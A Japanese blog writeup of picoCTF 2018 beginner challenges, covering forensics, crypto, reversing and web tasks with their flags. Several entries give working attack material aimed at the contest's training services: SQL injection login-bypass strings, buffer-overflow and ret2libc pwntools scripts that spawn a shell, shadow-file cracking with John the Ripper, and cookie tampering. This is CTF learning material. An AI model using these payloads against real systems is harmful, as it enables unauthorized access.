激つよチーム PPP がやっているという初心者向け CTF picoCTF 2018 に 途中まで theoldmoon0602 一人、途中から ptr-yudai と insecure として参加していました。いつの間にか終わっていたので解いた問題の writeup を雑に書きます。
[Forensics 50] Forensics Warmup 1
Forensics - Solved
flag.zip をダウンロードしてきて、 unzip すると flag.jpg
というファイルが出てくるので display flag.jpg
として表示しました。
### [Forensics 50] Forensics Warmup 2
flag.png が手に入るので display flag.png
としたらFlagが手に入りました。Flag文字列から察するに中身は jpg とかで、 file flag.png
としたらやはり JPG でした。
[General Skills 50] General Warmup 1
If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?
という問題文だったので、多分 picoCTF{A}
とか送ったんだと思います
[General Skills 50] General Warmup 2
Can you convert the number 27 (base 10) to binary (base 2)?
python でやるなら bin(27)
とかですね
[General Skills 50]General Warmup 3
What is 0x3D (base 16) in decimal (base 10).
python のインタプリタに 0x3D
っていれると10進の値が返値です
[General Skills 50] Resources
適当なWebページに飛ぶので、 ページ内検索で picoCTF{
などを検索すると picoCTF{xiexie_ni_lai_zheli}
があります
[Reversing 50]Reversing Warmup 1
ELFが手に入るので実行するとフラグが出力されます。picoCTF{welc0m3_t0_r3VeRs1nG}
[Reversing 50] Reversing Warmup 2
$ echo dGg0dF93NHNfczFtcEwz|base64 -d th4t_w4s_s1mpL3
[Cryptography 75] Crypto Warmup 1
vignere っぽい暗号表と暗号文 c, 鍵 k が渡されます。
c: llkjmlmpadkkc k: thisisalilkey m: SECRETMESSAGE
[Cryptograph 75] Crypto Warmup 2
>>> "cvpbPGS{guvf_vf_pelcgb!}".decode("rot13") u'picoCTF{this_is_crypto!}'
[General Skills 75] grep 1
file
がわたされるので grep
します。
$ cat file | grep picoCTF{ picoCTF{grep_and_you_will_find_52e63a9f}
[General Skills 75] net cat
Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell3.picoctf.com at port 10854 to get the flag?
$ nc 2018shell3.picoctf.com 10854 That wasn't so hard was it? picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}
[Cryptograph 100] HEEEEEEERE'S Johnny!
passwd
と shadow
ファイルが渡されるので john the ripper でなんとかします。
$ unshadow ./passwd ./shadow > ./johnpasswd $ chmod 0600 ./johnpasswd $ john --user=root --single ./johnpasswd $ john --user=root --show ./johnpasswd Loaded 1 password hash (crypt, generic crypt(3) [?/64]) No password hashes left to crack (see FAQ) root:kissme:0:0:root:/root:/bin/bash 1 password hash cracked, 0 left $ cat <<A | nc 2018shell2.picoctf.com 5221 root kissme A Username: Password: picoCTF{J0hn_1$_R1pp3d_289677b5}
[General Skills 100] strings
ELF が渡されるので問題名に従って strings
しますが、たくさん流れるので結局 grep します
$ strings strings | grep picoCTF picoCTF{sTrIngS_sAVeS_Time_c09b1444}
[General Skills 110] pipe
アドレスとポートを頂くので nc すると大量の文字列を受信します。とりあえず out.txt
などにリダイレクトしておいて、 grep でそれっぽいものを残します。
> cat ./out.txt | grep -v "Unfortunately" | grep -v "another" | grep -v "not a" picoCTF{almost_like_mario_8861411c}
普通に grep picoCTF{
でも良いですが
[Web Exploitation 125] Inspect Me
ページのソースをみるとフラグの断片が見つかります。 mycss.css
の末尾に残りがあります。 html の方には part 1/3 of the flag
の文字列がありましたが結局フラグは二つに分割されているだけでした。
picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}
[General Skills 125] grep 2
今度は picoCTF の提供する WebShell 上での問題です。 たくさんディレクトリがあるので grep -R
で探します。
$ grep -R "picoCTF" . ./files2/file3:picoCTF{grep_r_and_you_will_find_036bbb25}
[General Skills 150] Aca-Shell-A
略。面倒な問題でした
[Web Exploitation 150] Client Side is Still Bad
ページのコードは以下のようになっているのでコピーして vim でいい感じに編集してフラグをえました。
<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(split*7, split*8) == '}') { if (checkpass.substring(split*6, split*7) == '06ac') { if (checkpass.substring(split*5, split*6) == 'd_5e') { if (checkpass.substring(split*4, split*5) == 's_ba') { if (checkpass.substring(split*3, split*4) == 'nt_i') { if (checkpass.substring(split*2, split*3) == 'clie') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(0,split) == 'pico') { alert("You got the flag!") } } } } } } } } else { alert("Incorrect password"); } }
[Web Exploitation 150] Logon
admin
以外の好きなユーザ名 & パスワードでログインできるページです。 cookie に admin
という項目があり False
が入っていたので True
に編集してリクエストを送りました。
picoCTF{l0g1ns_ar3nt_r34l_2a968c11}
[Forensics 150] Reading Between the Eyes
なにか画像が渡されるので、オンラインの steganography solver に突っ込んだような気がします。
[Forensics 150] Recovering From the Snap
animals.dd
が渡されて、 file
コマンドにかけると FAT16
っぽいのでマウントしたのですがフラグはなく、ではと思って SleuthKit から fls
と icat
で削除されていた theflag.jpg
を復旧しました。
$ fls animals.dd r/r 4: dachshund.jpg r/r * 6: fox.jpg r/r 8: frog.jpg r/r * 10: giraffe.jpg r/r 12: music.jpg r/r * 14: rabbit2.jpg r/r 16: rabbit.jpg r/r * 18: theflag.jpg v/v 327027: $MBR v/v 327028: $FAT1 v/v 327029: $FAT2 d/d 327030: $OrphanFiles $ icat animals.dd 18 > theflag.jpg
picoCTF{th3_5n4p_happ3n3d}
[Forensics 150] admin panel
$ strings data.pcap| grep picoCTF{ user=admin&password=picoCTF{n0ts3cur3_b186631d}
[Reversing 150] assembly-0
.intel_syntax noprefix /* .bits 32 */ .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov esp,ebp pop ebp ret
What does asm0(0xc9,0xb0) return?
とのことなので以下のように main.c
を書いて gcc main.c asm.S -m32
としてリターンコードを見ました。
extern int asm0(int,int); int main() { return asm0(0x2a,0x4f); }
[Binary Exploitation 150] buffer overflow 0
略。単純なバッファオーバーフローがあるので リターンアドレスを書き換えると フラグを取得する処理に飛べます。
[Cryptograph 150] caesar cipher 1
適当な ソルバにかけます。
picoCTF{justagoodoldcaesarcipherfwacbovv}
[General Skills 150] environ
与えられたシェルで env
とします。
$ env SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
[Cryptograph 150] hertz
単一換字暗号とみて適当な quipquip に投げました。
substitution_ciphers_are_solvable_gatmlnvhri
[Forensics 150] hex editor
画像が与えられます。 strings
すると Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_3E03e57d}"
が見えます
[General Skills 150] ssh-keyz
[Web Exploitation 200] Irish Name Repo
ログイン画面に SQL インジェクションがあり パスワードを 'OR'a'='a
とするとログインできます。
picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}
[Web Exploitation 200] Mr. Robots
問題名に従って /robot.txt
にアクセスすると隠しておきたいページが見えるので見に行っちゃいます。 picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_74efc}
[Web Exploitation 200] Secret Agent
問題文に従って UserAgent を googlebot に偽装すると flag が手に入ります。 picoCTF{s3cr3t_ag3nt_m4n_dc320c11}
[Forensics 200] Truly an Artist
画像が渡されますが strings
で解けます。 picoCTF{look_in_image_13509d38}
[Reversing 200] assembly-1
assembly-0 と同じ方針で解けます
[Reversing 200] be-quick-or-be-dead-1
ELFが渡されますが実行すると「遅い」って言われて死にます。どっかで sigalarm を飛ばして死ぬ処理が走ってると思うので潰します。 今回は radare2 で sigalarm の発行処理を nop で潰しました。
picoCTF{why_bother_doing_unnecessary_computation_402ca676}
[Binary Exploitation 200] buffer overflow 1
from pwn import * win = 0x80485cb print(repr("A"*44 + p32(win)))
[Cryptography 200] hertz2
また単一換字暗号です。 picoCTF{substitution_ciphers_are_too_easy_vpyydylnns}
[Binary Exploitation 200] leak-me
strcat
を使っているのでバッファオーバーフローでヌル文字を埋めると文字列がだばだばでます。
$ nc 2018shell2.picoctf.com 1271 What is your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_f78570 Incorrect Password! ^C $ nc 2018shell2.picoctf.com 1271 What is your name? aiueo Hello aiueo, Please Enter the Password. a_reAllY_s3cuRe_p4s$word_f78570 picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e} ^C
[Forensics 200] now you don't
画像が与えられるのでバケツツールで塗りつぶすとフラグ文字列が手に入ります。
[Reversing 200] quackme
内部でフラグを生成か比較かしていたので gdb で追いかけながら解きました。
a = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65 , 0x20, 0x44, 0x75, 0x63, 0x6b, 0x20, 0x57, 0x65, 0x62, 0x2c, 0x20, 0x61, 0x6e, 0x64] b = [0x29, 0x06, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x08, 0x5d, 0x2b, 0x50, 0x14, 0x5d, 0x00, 0x19, 0x17, 0x59, 0x52, 0x5d, 0x00, 0x4e, 0x6f, 0x20, 0x6c, 0x69, 0x6e, 0x65, 0x20, 0x72, 0x65, 0x61, 0x64] flag = "" for x in zip(a, b): flag += chr(x[0] ^ x[1]) print(flag)
picoCTF{qu4ckm3_5f8d9c17}
[Reversing 200] shellcode
シェルコードを実行するだけのバイナリがあるので、 shellstorm から拝借したやつを貼り付けます。
picoCTF{shellc0de_w00h00_7f5a7309}
[General Skills 200] what base is this?
from pwn import * p = remote("2018shell2.picoctf.com", 1225) s1 = p.recvuntil("give me the") s = p.recvuntil("as") s1 += s s = s[:-3] s1 += p.recvuntil("Input:").rstrip() print(s1) s = "".join(map(chr, map(lambda x: int(x, 2), s.split()))) print(s) p.sendline(s) s1 = p.recvuntil("give me the") s = p.recvuntil("as") s1 += s s = s[:-3].strip() s1 += p.recvuntil("Input:").rstrip() print(s1) s = s.decode("hex") print(s) p.sendline(s) s1 = p.recvuntil("give me the") s = p.recvuntil("as") s1 += s s = s[:-3] s1 += p.recvuntil("Input:").rstrip() print(s1) s = "".join(map(chr, map(lambda x: int(x, 8), s.split()))) print(s) p.sendline(s) while True: print(p.recv(1000))
picoCTF{delusions_about_finding_values_451a9a74}
[General Skills 200] you can't see me
.
というファイルにフラグがあったのですが .
にしか見えず困っていたところ、ふと回した var_dump(scandir("."));
に助けられ、無事
$ cat ". " picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_093d6aff}
[Web Exploitation 250] Buttons
$ curl http://2018shell2.picoctf.com:65107/button2.php -X POST Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}
[Web Exploitation 250] The Vault
ソースコードを見せてくれる優しい ログインページなのでSQLインジェクションさせてもらいます。
ユーザ名を admin' union all select 1 --
、パスワードを hoge
とかにすると通ります
picoCTF{w3lc0m3_t0_th3_vau1t_c4738171}
[Forensics 250] What's My Name?
pcap がおちてくるので迷いなく strings
します。
picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}
[General Skills 250] absolutely relative
/tmp/takoyaki
みたいなディレクトリを作って permission.txt
に yes
を書き込んでおき、このディレクトリでバイナリを呼びます。
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
[Reversing 250] assembly-2
assembly-0 と同じ要領で解けます
[Binary Exploitation 250] buffer overflow 2
from pwn import * win = p32(0x080485cb) dummy = p32(0xdeadbeef) deadbeef = p32(0xdeadbeef) deadcode = p32(0xdeadc0de) print(repr("A"*112 + win + dummy + deadbeef + deadcode))
[Cryptography 250] caesar cipher 2
printable only じゃなくなったので自前でソルバを書きます。
c = map(ord, list(open("ciphertext").read())) for i in range(256): s = "" for char in c: s += chr((char + i) % 256) if s.startswith("pico"): break print(repr(s)) import string src = s dst = src.translate(string.maketrans('\xa1\xb2\xa4\x9f\xb0\xb1\xae\xa3', 'CTFARSPE')) # 'I likE orAngE.' print(repr(dst))
そのまま回しただけだとダメそうなところがあったので適当な変換テーブルも書きました。
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
[Binary Exploitation 250] got-2-learn-libc
ひとつだけCSSの適用がおかしかった問題。
バッファオーバーフローのあるELFからgot2libc して system("/bin/sh")
を呼ばせる。適当な関数のアドレスを渡してくれるのでそこから libc
の先頭を計算して飛ぶべきアドレスを決める。
from pwn import * p = process("/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833/vuln") libc_system = 0x0003a940 libc_puts = 0x0005f140 binsh_addr = 0x15902b p.recvuntil("puts: ") exec_libc_puts = int(p.recvline().strip(), 16) libc_addr = exec_libc_puts - libc_puts p.recvuntil("Enter a string:") exec_libc_system = p32(libc_addr + libc_system) exec_binsh_addr = p32(libc_addr + binsh_addr) p.sendline("A"*160 + exec_libc_system + exec_binsh_addr + exec_binsh_addr) p.interactive()
picoCTF{syc4al1s_4rE_uS3fUl_a78c4d87}
[Reversing 275] be-quick-or-be-dead-2
前問同様に alarm は消す。フィボナッチ数列の 0x402 項目の計算がとんでもなく遅かったので同じで高速な処理を自前で書いて出力を得ておいて、 gdb でフィボナッチ数列の計算を飛ばして結果だけ正しくなるように set $eax=0xf70a9b58
した。
picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}
[General Skills 275] in out error
なんもわからん
$ echo 'Please may I have the flag?' | ./in-out-error 1>/dev/null picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}...
[General Skills 300] learn gdb
ELF が渡される。内部でフラグを計算する処理が走ってるらしい。 strace をして適当に整形してやるとフラグが手に入ったけど何をしても手に入ると思う。
picoCTF{gDb_iS_sUp3r_u53fuL_f3f39814}
感想
General Skills の問題をとくのが初心者にとっても良さそう。私の場合は解いた問題は知っているものばかりで微妙だった。 be-quick-or-be-die は radare2 でバイナリパッチする練習になったので良かった。
面白い問題に到達する前に飽きちゃったのが良くない。
Ext Super Magic とNo Login が解けなかったのは悔しい。